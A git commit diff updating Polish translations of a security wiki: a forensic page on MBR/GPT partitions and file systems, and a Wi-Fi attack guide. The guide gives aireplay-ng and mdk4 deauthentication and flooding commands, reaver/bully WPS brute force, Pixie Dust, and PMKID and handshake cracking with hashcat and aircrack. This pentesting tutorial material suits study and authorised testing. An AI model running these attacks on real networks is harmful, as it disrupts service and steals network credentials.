Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

This commit is contained in:
Translator 2025-07-10 12:30:56 +00:00
parent 348659cb55
commit 09a2bf47de
14 changed files with 440 additions and 327 deletions

View File

@ -9,15 +9,15 @@ Dysk twardy lub **dysk SSD może zawierać różne partycje** w celu fizycznego
### MBR (master Boot Record)
Jest przydzielany w **pierwszym sektorze dysku po 446B kodu rozruchowego**. Ten sektor jest niezbędny, aby wskazać komputerowi, co i skąd powinno być zamontowane.\
Pozwala na maksymalnie **4 partycje** (najwyżej **tylko 1** może być aktywna/**rozruchowa**). Jednak jeśli potrzebujesz więcej partycji, możesz użyć **partycji rozszerzonej**. **Ostatni bajt** tego pierwszego sektora to sygnatura rekordu rozruchowego **0x55AA**. Tylko jedna partycja może być oznaczona jako aktywna.\
Jest przydzielany w **pierwszym sektorze dysku po 446B kodu rozruchowego**. Ten sektor jest niezbędny, aby wskazać PC, co i skąd powinno być zamontowane jako partycja.\
Pozwala na maksymalnie **4 partycje** (najwyżej **tylko 1** może być aktywna/**rozruchowa**). Jednak jeśli potrzebujesz więcej partycji, możesz użyć **partycji rozszerzonej**. **Ostatni bajt** tego pierwszego sektora to podpis rekordu rozruchowego **0x55AA**. Tylko jedna partycja może być oznaczona jako aktywna.\
MBR pozwala na **maks. 2.2TB**.
![](<../../../images/image (350).png>)
![](<../../../images/image (304).png>)
Od **bajtów 440 do 443** MBR możesz znaleźć **Sygnaturę dysku Windows** (jeśli używany jest Windows). Litera logicznego dysku twardego zależy od Sygnatury dysku Windows. Zmiana tej sygnatury może uniemożliwić uruchomienie systemu Windows (narzędzie: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
W **bajtach od 440 do 443** MBR możesz znaleźć **Podpis dysku Windows** (jeśli używany jest Windows). Litera logicznego dysku twardego zależy od Podpisu dysku Windows. Zmiana tego podpisu może uniemożliwić uruchomienie Windows (narzędzie: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (310).png>)
@ -30,7 +30,7 @@ Od **bajtów 440 do 443** MBR możesz znaleźć **Sygnaturę dysku Windows** (je
| 462 (0x1CE) | 16 (0x10) | Druga partycja |
| 478 (0x1DE) | 16 (0x10) | Trzecia partycja |
| 494 (0x1EE) | 16 (0x10) | Czwarta partycja |
| 510 (0x1FE) | 2 (0x2) | Sygnatura 0x55 0xAA |
| 510 (0x1FE) | 2 (0x2) | Podpis 0x55 0xAA |
**Format rekordu partycji**
@ -39,7 +39,7 @@ Od **bajtów 440 do 443** MBR możesz znaleźć **Sygnaturę dysku Windows** (je
| 0 (0x00) | 1 (0x01) | Flaga aktywności (0x80 = rozruchowa) |
| 1 (0x01) | 1 (0x01) | Głowica startowa |
| 2 (0x02) | 1 (0x01) | Sektor startowy (bity 0-5); wyższe bity cylindra (6-7) |
| 3 (0x03) | 1 (0x01) | Cylindr startowy najniższe 8 bitów |
| 3 (0x03) | 1 (0x01) | Cylindr startowy najniższe 8 bitów |
| 4 (0x04) | 1 (0x01) | Kod typu partycji (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Głowica końcowa |
| 6 (0x06) | 1 (0x01) | Sektor końcowy (bity 0-5); wyższe bity cylindra (6-7) |
@ -64,7 +64,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### GPT (GUID Partition Table)
Tabela partycji GUID, znana jako GPT, jest preferowana ze względu na swoje ulepszone możliwości w porównaniu do MBR (Master Boot Record). Wyróżnia się **globalnie unikalnym identyfikatorem** dla partycji, GPT wyróżnia się w kilku aspektach:
Tabela partycji GUID, znana jako GPT, jest preferowana ze względu na swoje ulepszone możliwości w porównaniu do MBR (Master Boot Record). Wyróżnia się dzięki **globalnie unikalnemu identyfikatorowi** dla partycji, GPT wyróżnia się na kilka sposobów:
- **Lokalizacja i rozmiar**: Zarówno GPT, jak i MBR zaczynają się od **sektora 0**. Jednak GPT działa na **64 bitach**, w przeciwieństwie do 32 bitów MBR.
- **Limity partycji**: GPT obsługuje do **128 partycji** w systemach Windows i pomieści do **9,4ZB** danych.
@ -73,7 +73,7 @@ Tabela partycji GUID, znana jako GPT, jest preferowana ze względu na swoje ulep
**Odporność danych i odzyskiwanie**:
- **Redundancja**: W przeciwieństwie do MBR, GPT nie ogranicza partycjonowania i danych rozruchowych do jednego miejsca. Replikuje te dane w całym dysku, co zwiększa integralność danych i odporność.
- **Cyclic Redundancy Check (CRC)**: GPT stosuje CRC, aby zapewnić integralność danych. Aktywnie monitoruje uszkodzenia danych, a po ich wykryciu GPT próbuje odzyskać uszkodzone dane z innej lokalizacji na dysku.
- **Cykliczna kontrola redundancji (CRC)**: GPT stosuje CRC, aby zapewnić integralność danych. Aktywnie monitoruje uszkodzenia danych, a po ich wykryciu GPT próbuje odzyskać uszkodzone dane z innej lokalizacji na dysku.
**Ochronny MBR (LBA0)**:
@ -95,7 +95,7 @@ Nagłówek tabeli partycji definiuje użyteczne bloki na dysku. Definiuje równi
| Offset | Długość | Zawartość |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bajtów | Podpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h lub 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)na maszynach little-endian) |
| 0 (0x00) | 8 bajtów | Podpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h lub 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)na maszynach little-endian) |
| 8 (0x08) | 4 bajty | Wersja 1.0 (00h 00h 01h 00h) dla UEFI 2.8 |
| 12 (0x0C) | 4 bajty | Rozmiar nagłówka w little endian (w bajtach, zazwyczaj 5Ch 00h 00h 00h lub 92 bajty) |
| 16 (0x10) | 4 bajty | [CRC32](https://en.wikipedia.org/wiki/CRC32) nagłówka (offset +0 do rozmiaru nagłówka) w little endian, z tym polem wyzerowanym podczas obliczeń |
@ -135,7 +135,7 @@ Po zamontowaniu obrazu forensycznego za pomocą [**ArsenalImageMounter**](https:
![](<../../../images/image (354).png>)
Gdyby to była **tabela GPT zamiast MBR**, powinien pojawić się podpis _EFI PART_ w **sektorze 1** (który na poprzednim obrazie jest pusty).
Gdyby to była **tabela GPT zamiast MBR**, powinna pojawić się sygnatura _EFI PART_ w **sektorze 1** (który na poprzednim obrazie jest pusty).
## Systemy plików
@ -149,13 +149,13 @@ Gdyby to była **tabela GPT zamiast MBR**, powinien pojawić się podpis _EFI PA
### FAT
System plików **FAT (File Allocation Table)** jest zaprojektowany wokół swojego kluczowego komponentu, tabeli alokacji plików, umieszczonej na początku woluminu. System ten chroni dane, utrzymując **dwie kopie** tabeli, zapewniając integralność danych, nawet jeśli jedna z nich ulegnie uszkodzeniu. Tabela, wraz z folderem głównym, musi znajdować się w **stałej lokalizacji**, co jest kluczowe dla procesu uruchamiania systemu.
System plików **FAT (File Allocation Table)** jest zaprojektowany wokół swojego podstawowego komponentu, tabeli alokacji plików, umieszczonej na początku woluminu. System ten chroni dane, utrzymując **dwie kopie** tabeli, zapewniając integralność danych, nawet jeśli jedna z nich ulegnie uszkodzeniu. Tabela, wraz z folderem głównym, musi znajdować się w **stałej lokalizacji**, co jest kluczowe dla procesu uruchamiania systemu.
Podstawową jednostką przechowywania w systemie plików jest **klaster, zazwyczaj 512B**, składający się z wielu sektorów. FAT ewoluował przez wersje:
- **FAT12**, obsługujący 12-bitowe adresy klastrów i obsługujący do 4078 klastrów (4084 z UNIX).
- **FAT16**, rozwijający się do 16-bitowych adresów, co pozwala na obsługę do 65,517 klastrów.
- **FAT32**, dalej rozwijający się z 32-bitowymi adresami, pozwalając na imponujące 268,435,456 klastrów na wolumin.
- **FAT16**, ulepszony do 16-bitowych adresów, co pozwala na obsługę do 65,517 klastrów.
- **FAT32**, dalej rozwijający się z 32-bitowymi adresami, pozwalający na imponującą liczbę 268,435,456 klastrów na wolumin.
Znaczącym ograniczeniem we wszystkich wersjach FAT jest **maksymalny rozmiar pliku wynoszący 4GB**, narzucony przez 32-bitowe pole używane do przechowywania rozmiaru pliku.
@ -169,7 +169,7 @@ Kluczowe komponenty katalogu głównego, szczególnie dla FAT12 i FAT16, obejmuj
### EXT
**Ext2** to najczęściej używany system plików dla **partycji bez dziennika** (**partycji, które nie zmieniają się zbyt często**) jak partycja rozruchowa. **Ext3/4****z dziennikiem** i są zazwyczaj używane dla **pozostałych partycji**.
**Ext2** jest najczęściej używanym systemem plików dla **partycji bez dziennika** (**partycji, które nie zmieniają się zbytnio**) jak partycja rozruchowa. **Ext3/4****z dziennikiem** i są zazwyczaj używane dla **pozostałych partycji**.
## **Metadane**
@ -201,17 +201,17 @@ file-data-carving-recovery-tools.md
**File carving** to technika, która próbuje **znaleźć pliki w masie danych**. Istnieją 3 główne sposoby, w jakie działają takie narzędzia: **Na podstawie nagłówków i stopek typów plików**, na podstawie **struktur** typów plików oraz na podstawie **samej zawartości**.
Należy zauważyć, że ta technika **nie działa na odzyskiwanie fragmentowanych plików**. Jeśli plik **nie jest przechowywany w sąsiadujących sektorach**, to ta technika nie będzie w stanie go znaleźć lub przynajmniej jego części.
Należy zauważyć, że ta technika **nie działa w celu odzyskania fragmentowanych plików**. Jeśli plik **nie jest przechowywany w sąsiadujących sektorach**, to ta technika nie będzie w stanie go znaleźć lub przynajmniej jego części.
Istnieje wiele narzędzi, które możesz użyć do carvingu plików, wskazując typy plików, które chcesz wyszukiwać.
Istnieje kilka narzędzi, które możesz użyć do carvingu plików, wskazując typy plików, które chcesz wyszukiwać.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Carving strumienia danych **C**
### Carving strumieni danych
Carving strumienia danych jest podobny do carvingu plików, ale **zamiast szukać kompletnych plików, szuka interesujących fragmentów** informacji.\
Carving strumieni danych jest podobny do carvingu plików, ale **zamiast szukać kompletnych plików, szuka interesujących fragmentów** informacji.\
Na przykład, zamiast szukać kompletnego pliku zawierającego zarejestrowane adresy URL, ta technika będzie szukać adresów URL.
{{#ref}}

View File

@ -30,7 +30,7 @@ mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**Uruchom airgeddon z dockerem**
**Uruchom airgeddon za pomocą dockera**
```bash
docker run \
--rm \
@ -56,24 +56,24 @@ sudo python setup.py install # Install any dependencies
To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
- Ustawia interfejs w trybie monitorowania
- Skanuje w poszukiwaniu możliwych sieci - I pozwala wybrać ofiarę/y
- Skanuje możliwe sieci - I pozwala wybrać ofiarę/y
- Jeśli WEP - Uruchamia ataki WEP
- Jeśli WPA-PSK
- Jeśli WPS: atak Pixie dust i atak brute-force (uważaj, atak brute-force może zająć dużo czasu). Zauważ, że nie próbuje pustego PIN-u ani PIN-ów z bazy danych/wygenerowanych.
- Próbuje przechwycić PMKID z AP, aby go złamać
- Próbuje deautoryzować klientów AP, aby przechwycić handshake
- Jeśli PMKID lub Handshake, próbuje brute-force używając 5000 najpopularniejszych haseł.
- Jeśli PMKID lub Handshake, próbuje złamać hasła używając 5000 najpopularniejszych haseł.
## Podsumowanie Ataków
- **DoS**
- Deautoryzacja/disasocjacja -- Rozłącza wszystkich (lub konkretny ESSID/Klienta)
- Deautoryzacja/disasocjacja -- Rozłącza wszystkich (lub konkretny ESSID/Klient)
- Losowe fałszywe AP -- Ukrywa sieci, możliwe awarie skanerów
- Przeciążenie AP -- Próbuje zabić AP (zwykle mało użyteczne)
- WIDS -- Bawi się IDS
- WIDS -- Bawi się z IDS
- TKIP, EAPOL -- Niektóre specyficzne ataki DoS na niektóre AP
- **Cracking**
- Złamanie **WEP** (kilka narzędzi i metod)
- Złamanie **WEP** (wiele narzędzi i metod)
- **WPA-PSK**
- **WPS** pin "Brute-Force"
- **WPA PMKID** brute-force
@ -82,11 +82,11 @@ To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
- **Przechwytywanie nazwy użytkownika**
- **Brute-force** poświadczenia
- **Evil Twin** (z lub bez DoS)
- **Open** Evil Twin \[+ DoS] -- Użyteczne do przechwytywania poświadczeń portalu captive i/lub przeprowadzania ataków LAN
- **Open** Evil Twin \[+ DoS] -- Użyteczne do przechwytywania poświadczeń portalu przechwytywania i/lub przeprowadzania ataków LAN
- **WPA-PSK** Evil Twin -- Użyteczne do ataków sieciowych, jeśli znasz hasło
- **WPA-MGT** -- Użyteczne do przechwytywania poświadczeń firmowych
- **KARMA, MANA**, **Loud MANA**, **Znany beacon**
- **+ Open** -- Użyteczne do przechwytywania poświadczeń portalu captive i/lub przeprowadzania ataków LAN
- **+ Open** -- Użyteczne do przechwytywania poświadczeń portalu przechwytywania i/lub przeprowadzania ataków LAN
- **+ WPA** -- Użyteczne do przechwytywania handshake'ów WPA
## DOS
@ -95,7 +95,7 @@ To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
**Opis z** [**tutaj**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Ataki **deautoryzacji**, powszechnie stosowana metoda w hackingu Wi-Fi, polegają na fałszowaniu "ram zarządzających", aby **siłą rozłączyć urządzenia z sieci**. Te niezaszyfrowane pakiety oszukują klientów, sprawiając, że wierzą, iż pochodzą z legalnej sieci, co umożliwia atakującym zbieranie handshake'ów WPA do celów łamania lub trwałe zakłócanie połączeń sieciowych. Ta taktyka, niepokojąca w swojej prostocie, jest szeroko stosowana i ma znaczące implikacje dla bezpieczeństwa sieci.
Ataki **deautoryzacji**, powszechnie stosowana metoda w hackingu Wi-Fi, polegają na fałszowaniu "ram zarządzających", aby **wymusić rozłączenie urządzeń z sieci**. Te niezaszyfrowane pakiety oszukują klientów, sprawiając, że wierzą, że pochodzą z legalnej sieci, co umożliwia atakującym zbieranie handshake'ów WPA do celów łamania lub ciągłego zakłócania połączeń sieciowych. Ta taktyka, niepokojąca w swojej prostocie, jest szeroko stosowana i ma znaczące implikacje dla bezpieczeństwa sieci.
**Deautoryzacja przy użyciu Aireplay-ng**
```
@ -109,9 +109,9 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### Pakiety Dezaktywacji
**Pakiety dezaktywacji**, podobnie jak pakiety deautoryzacji, są rodzajem ramki zarządzającej używanej w sieciach Wi-Fi. Pakiety te służą do zerwania połączenia między urządzeniem (takim jak laptop lub smartfon) a punktem dostępowym (AP). Główna różnica między dezaktywacją a deautoryzacją polega na ich scenariuszach użycia. Podczas gdy AP emituje **pakiety deautoryzacji, aby explicite usunąć nieautoryzowane urządzenia z sieci, pakiety dezaktywacji są zazwyczaj wysyłane, gdy AP przechodzi w tryb wyłączenia**, restartu lub przenoszenia, co wymaga rozłączenia wszystkich podłączonych węzłów.
**Pakiety dezaktywacji**, podobnie jak pakiety deautoryzacji, są rodzajem ramki zarządzającej używanej w sieciach Wi-Fi. Pakiety te służą do zerwania połączenia między urządzeniem (takim jak laptop lub smartfon) a punktem dostępowym (AP). Główna różnica między dezaktywacją a deautoryzacją leży w ich scenariuszach użycia. Podczas gdy AP emituje **pakiety deautoryzacji, aby explicite usunąć nieautoryzowane urządzenia z sieci, pakiety dezaktywacji są zazwyczaj wysyłane, gdy AP przechodzi w tryb wyłączenia**, restartu lub przenoszenia, co wymaga rozłączenia wszystkich podłączonych węzłów.
**Ten atak można przeprowadzić za pomocą mdk4 (tryb "d"):**
**Ten atak można przeprowadzić za pomocą mdk4(tryb "d"):**
```bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -126,7 +126,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
**TRYB ATAKU b: Flooding Beaconów**
Wysyła ramki beaconów, aby pokazać fałszywe AP na klientach. Może to czasami spowodować awarię skanerów sieciowych, a nawet sterowników!
Wysyła ramki beaconów, aby pokazać fałszywe APs u klientów. Może to czasami spowodować awarię skanerów sieciowych, a nawet sterowników!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -146,11 +146,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**TRYB ATAKU p: Probing SSID i Bruteforcing**
Probing Access Points (APs) sprawdza, czy SSID jest prawidłowo ujawniony i potwierdza zasięg AP. Ta technika, w połączeniu z **bruteforcing ukrytych SSID** z lub bez listy słów, pomaga w identyfikacji i uzyskiwaniu dostępu do ukrytych sieci.
Probing Access Points (APs) sprawdza, czy SSID jest prawidłowo ujawniony i potwierdza zasięg AP. Ta technika, w połączeniu z **bruteforcingiem ukrytych SSID** z lub bez listy słów, pomaga w identyfikacji i uzyskiwaniu dostępu do ukrytych sieci.
**TRYB ATAKU m: Wykorzystanie Środków Przeciwdziałających Michaelowi**
Wysyłanie losowych lub duplikowanych pakietów do różnych kolejek QoS może wywołać środki przeciwdziałające Michaelowi na **TKIP APs**, prowadząc do jednominutowego wyłączenia AP. Ta metoda jest skuteczną taktyką ataku **DoS** (Denial of Service).
Wysyłanie losowych lub duplikowanych pakietów do różnych kolejek QoS może wywołać Środki Przeciwdziałające Michaelowi na **TKIP APs**, prowadząc do jednominutowego wyłączenia AP. Ta metoda jest skuteczną taktyką ataku **DoS** (Denial of Service).
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -169,7 +169,7 @@ Różne ataki na zarządzanie łączami i routowanie w sieciach mesh.
**TRYB ATAKU w: Confuzja WIDS**
Krzyżowe łączenie klientów z wieloma węzłami WDS lub fałszywymi AP-ami może manipulować systemami wykrywania i zapobiegania włamaniom, tworząc zamieszanie i potencjalne nadużycia systemu.
Krzyżowe łączenie klientów z wieloma węzłami WDS lub fałszywymi AP może manipulować systemami wykrywania i zapobiegania włamaniom, tworząc zamieszanie i potencjalne nadużycia systemu.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
@ -186,14 +186,14 @@ _**Airgeddon**_ oferuje większość ataków zaproponowanych w poprzednich komen
## WPS
WPS (Wi-Fi Protected Setup) upraszcza proces łączenia urządzeń z routerem, zwiększając szybkość i łatwość konfiguracji dla sieci szyfrowanych za pomocą **WPA** lub **WPA2** Personal. Jest nieskuteczny w przypadku łatwo kompromitowanego zabezpieczenia WEP. WPS wykorzystuje 8-cyfrowy PIN, weryfikowany w dwóch częściach, co czyni go podatnym na ataki brute-force z powodu ograniczonej liczby kombinacji (11 000 możliwości).
WPS (Wi-Fi Protected Setup) upraszcza proces łączenia urządzeń z routerem, zwiększając szybkość i łatwość konfiguracji dla sieci szyfrowanych z **WPA** lub **WPA2** Personal. Jest nieskuteczny dla łatwo kompromitowanej ochrony WEP. WPS wykorzystuje 8-cyfrowy PIN, weryfikowany w dwóch częściach, co czyni go podatnym na ataki brute-force z powodu ograniczonej liczby kombinacji (11 000 możliwości).
### WPS Bruteforce
Istnieją 2 główne narzędzia do przeprowadzenia tej akcji: Reaver i Bully.
- **Reaver** został zaprojektowany jako solidny i praktyczny atak przeciwko WPS i był testowany na szerokiej gamie punktów dostępowych i implementacji WPS.
- **Bully** to **nowa implementacja** ataku brute force na WPS, napisana w C. Ma kilka zalet w porównaniu do oryginalnego kodu reavera: mniej zależności, poprawiona wydajność pamięci i CPU, prawidłowe obsługiwanie endianness oraz bardziej rozbudowany zestaw opcji.
- **Bully** to **nowa implementacja** ataku brute force WPS, napisana w C. Ma kilka zalet w porównaniu do oryginalnego kodu reaver: mniej zależności, poprawiona wydajność pamięci i CPU, prawidłowe obsługiwanie endianness oraz bardziej rozbudowany zestaw opcji.
Atak wykorzystuje **wrażliwość PIN-u WPS**, szczególnie jego ujawnienie pierwszych czterech cyfr oraz rolę ostatniej cyfry jako sumy kontrolnej, co ułatwia atak brute-force. Jednak obrony przed atakami brute-force, takie jak **blokowanie adresów MAC** agresywnych atakujących, wymagają **rotacji adresów MAC**, aby kontynuować atak.
@ -207,11 +207,11 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
To udoskonalone podejście celuje w PIN-y WPS wykorzystując znane luki:
1. **Wcześniej odkryte PIN-y**: Wykorzystaj bazę danych znanych PIN-ów powiązanych z konkretnymi producentami, którzy używają jednolitych PIN-ów WPS. Ta baza danych koreluje pierwsze trzy oktety adresów MAC z prawdopodobnymi PIN-ami dla tych producentów.
2. **Algorytmy generacji PIN-ów**: Wykorzystaj algorytmy takie jak ComputePIN i EasyBox, które obliczają PIN-y WPS na podstawie adresu MAC AP. Algorytm Arcadyan dodatkowo wymaga identyfikatora urządzenia, co dodaje warstwę do procesu generacji PIN-u.
2. **Algorytmy generowania PIN-ów**: Wykorzystaj algorytmy takie jak ComputePIN i EasyBox, które obliczają PIN-y WPS na podstawie adresu MAC AP. Algorytm Arcadyan dodatkowo wymaga identyfikatora urządzenia, co dodaje warstwę do procesu generowania PIN-u.
### WPS Pixie Dust attack
**Dominique Bongard** odkrył lukę w niektórych punktach dostępowych (AP) dotyczących tworzenia tajnych kodów, znanych jako **nonces** (**E-S1** i **E-S2**). Jeśli te nonces można odgadnąć, złamanie PIN-u WPS AP staje się łatwe. AP ujawnia PIN w specjalnym kodzie (hash), aby udowodnić, że jest on legitny, a nie fałszywy (rogue) AP. Te nonces są zasadniczo "kluczami" do odblokowania "sejfu", który przechowuje PIN WPS. Więcej na ten temat można znaleźć [tutaj](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
**Dominique Bongard** odkrył lukę w niektórych punktach dostępowych (AP) dotyczących tworzenia tajnych kodów, znanych jako **nonces** (**E-S1** i **E-S2**). Jeśli te nonces można odgadnąć, złamanie PIN-u WPS AP staje się łatwe. AP ujawnia PIN w specjalnym kodzie (hash), aby udowodnić, że jest legitny, a nie fałszywy (rogue) AP. Te nonces są zasadniczo "kluczami" do odblokowania "sejfu", który przechowuje PIN WPS. Więcej na ten temat można znaleźć [tutaj](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
Mówiąc prosto, problem polega na tym, że niektóre AP nie używały wystarczająco losowych kluczy do szyfrowania PIN-u podczas procesu łączenia. To sprawia, że PIN jest podatny na odgadnięcie z zewnątrz sieci (offline brute force attack).
```bash
@ -237,12 +237,12 @@ Wszystkie proponowane ataki WPS można łatwo przeprowadzić za pomocą _**airge
- 5 i 6 pozwalają na wypróbowanie **twojego własnego PIN-u** (jeśli go masz)
- 7 i 8 wykonują **atak Pixie Dust**
- 13 pozwala na przetestowanie **NULL PIN**
- 11 i 12 **zbiorą PIN-y związane z wybranym AP z dostępnych baz danych** i **wygenerują** możliwe **PIN-y** używając: ComputePIN, EasyBox i opcjonalnie Arcadyan (zalecane, czemu nie?)
- 11 i 12 **zbiorą PIN-y związane z wybranym AP z dostępnych baz danych** i **wygenerują** możliwe **PIN-y** za pomocą: ComputePIN, EasyBox i opcjonalnie Arcadyan (zalecane, czemu nie?)
- 9 i 10 przetestują **każdy możliwy PIN**
## **WEP**
Tak zniszczony i nieużywany w dzisiejszych czasach. Po prostu wiedz, że _**airgeddon**_ ma opcję WEP nazwaną "All-in-One", aby zaatakować ten rodzaj ochrony. Większość narzędzi oferuje podobne opcje.
Tak zniszczony i nieużywany w dzisiejszych czasach. Po prostu wiedz, że _**airgeddon**_ ma opcję WEP o nazwie "All-in-One", aby zaatakować ten rodzaj ochrony. Wiele narzędzi oferuje podobne opcje.
![](<../../images/image (432).png>)
@ -254,7 +254,7 @@ Tak zniszczony i nieużywany w dzisiejszych czasach. Po prostu wiedz, że _**air
### PMKID
W 2018 roku **hashcat** [ujawnił](https://hashcat.net/forum/thread-7717.html) nową metodę ataku, unikalną, ponieważ potrzebuje tylko **jednego pakietu** i nie wymaga, aby jakiekolwiek urządzenia były podłączone do docelowego AP—wystarczy interakcja między atakującym a AP.
W 2018 roku **hashcat** [ujawnił](https://hashcat.net/forum/thread-7717.html) nową metodę ataku, unikalną, ponieważ potrzebuje tylko **jednego pakietu** i nie wymaga, aby jakiekolwiek urządzenia klienckie były połączone z docelowym AP—wystarczy interakcja między atakującym a AP.
Wiele nowoczesnych routerów dodaje **opcjonalne pole** do **pierwszej ramki EAPOL** podczas asocjacji, znane jako `Robust Security Network`. Zawiera to `PMKID`.
@ -262,9 +262,9 @@ Jak wyjaśnia oryginalny post, **PMKID** jest tworzony przy użyciu znanych dany
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Biorąc pod uwagę, że "Nazwa PMK" jest stała, znamy BSSID AP i stacji, a `PMK` jest identyczny z tym z pełnego 4-etapowego handshake, **hashcat** może wykorzystać te informacje do złamania PSK i odzyskania hasła!
Biorąc pod uwagę, że "Nazwa PMK" jest stała, znamy BSSID AP i stacji, a `PMK` jest identyczny z tym z pełnego 4-etapowego uścisku dłoni, **hashcat** może wykorzystać te informacje do złamania PSK i odzyskania hasła!
Aby **zgromadzić** te informacje i **bruteforce'ować** lokalnie hasło, możesz zrobić:
Aby **zgromadzić** te informacje i **bruteforce** lokalnie hasło, możesz zrobić:
```bash
airmon-ng check kill
airmon-ng start wlan0
@ -293,11 +293,11 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Zauważyłem, że niektóre przechwycone handshake za pomocą tego narzędzia nie mogły być złamane, nawet znając poprawne hasło. Zalecałbym również przechwytywanie handshake w tradycyjny sposób, jeśli to możliwe, lub przechwytywanie ich kilku za pomocą tego narzędzia._
_Zauważyłem, że niektóre przechwycone handshake za pomocą tego narzędzia nie mogły być złamane, nawet znając poprawne hasło. Zalecałbym również przechwytywanie handshake w tradycyjny sposób, jeśli to możliwe, lub przechwytywanie ich w większej liczbie za pomocą tego narzędzia._
### Przechwytywanie handshake
Atak na **WPA/WPA2** może być przeprowadzony poprzez przechwycenie **handshake** i próbę **złamania** hasła **offline**. Proces ten polega na monitorowaniu komunikacji konkretnej sieci i **BSSID** na określonym **kanale**. Oto uproszczony przewodnik:
Atak na **WPA/WPA2** sieci można przeprowadzić poprzez przechwycenie **handshake** i próbę **złamania** hasła **offline**. Proces ten polega na monitorowaniu komunikacji konkretnej sieci i **BSSID** na określonym **kanale**. Oto uproszczony przewodnik:
1. Zidentyfikuj **BSSID**, **kanał** i **połączonego klienta** docelowej sieci.
2. Użyj `airodump-ng`, aby monitorować ruch sieciowy na określonym kanale i BSSID, mając nadzieję na przechwycenie handshake. Komenda będzie wyglądać następująco:
@ -308,7 +308,7 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Uwaga, że gdy klient został wylogowany, może spróbować połączyć się z innym AP lub, w innych przypadkach, z inną siecią._
_Uwaga, że gdy klient został wylogowany, mógł spróbować połączyć się z innym AP lub, w innych przypadkach, z inną siecią._
Gdy w `airodump-ng` pojawią się informacje o handshake, oznacza to, że handshake został przechwycony i możesz przestać nasłuchiwać:
@ -332,7 +332,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_Jeśli to narzędzie znajdzie niekompletny handshake ESSID przed ukończonym, nie wykryje ważnego._
_Jeśli to narzędzie znajdzie niekompletny handshake ESSID przed ukończonym, nie wykryje ważnego._
**pyrit**
```bash
@ -346,7 +346,7 @@ W **ustawieniach WiFi dla przedsiębiorstw napotkasz różne metody uwierzytelni
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
- Ta metoda obsługuje tokeny sprzętowe i jednorazowe hasła w ramach EAP-PEAP. W przeciwieństwie do MSCHAPv2, nie używa wyzwania od partnera i wysyła hasła w postaci niezaszyfrowanej do punktu dostępowego, co stwarza ryzyko ataków typu downgrade.
- Ta metoda obsługuje tokeny sprzętowe i jednorazowe hasła w ramach EAP-PEAP. W przeciwieństwie do MSCHAPv2, nie używa wyzwania od partnera i wysyła hasła w postaci niezaszyfrowanej do punktu dostępowego, co stwarza ryzyko ataków downgrade.
2. **EAP-MD5 (Message Digest 5)**:
- Polega na wysyłaniu hasha MD5 hasła z klienta. **Nie jest zalecane** z powodu podatności na ataki słownikowe, braku uwierzytelnienia serwera oraz niemożności generowania kluczy WEP specyficznych dla sesji.
3. **EAP-TLS (Transport Layer Security)**:
@ -355,17 +355,17 @@ W **ustawieniach WiFi dla przedsiębiorstw napotkasz różne metody uwierzytelni
- Zapewnia wzajemne uwierzytelnianie przez zaszyfrowany tunel, wraz z metodą do wyprowadzania dynamicznych kluczy WEP dla każdego użytkownika i sesji. Wymaga tylko certyfikatów po stronie serwera, a klienci używają poświadczeń.
5. **PEAP (Protected Extensible Authentication Protocol)**:
- Działa podobnie do EAP, tworząc tunel TLS dla chronionej komunikacji. Umożliwia użycie słabszych protokołów uwierzytelniania na szczycie EAP dzięki ochronie oferowanej przez tunel.
- **PEAP-MSCHAPv2**: Często określane jako PEAP, łączy podatny mechanizm wyzwania/odpowiedzi MSCHAPv2 z ochronnym tunelami TLS.
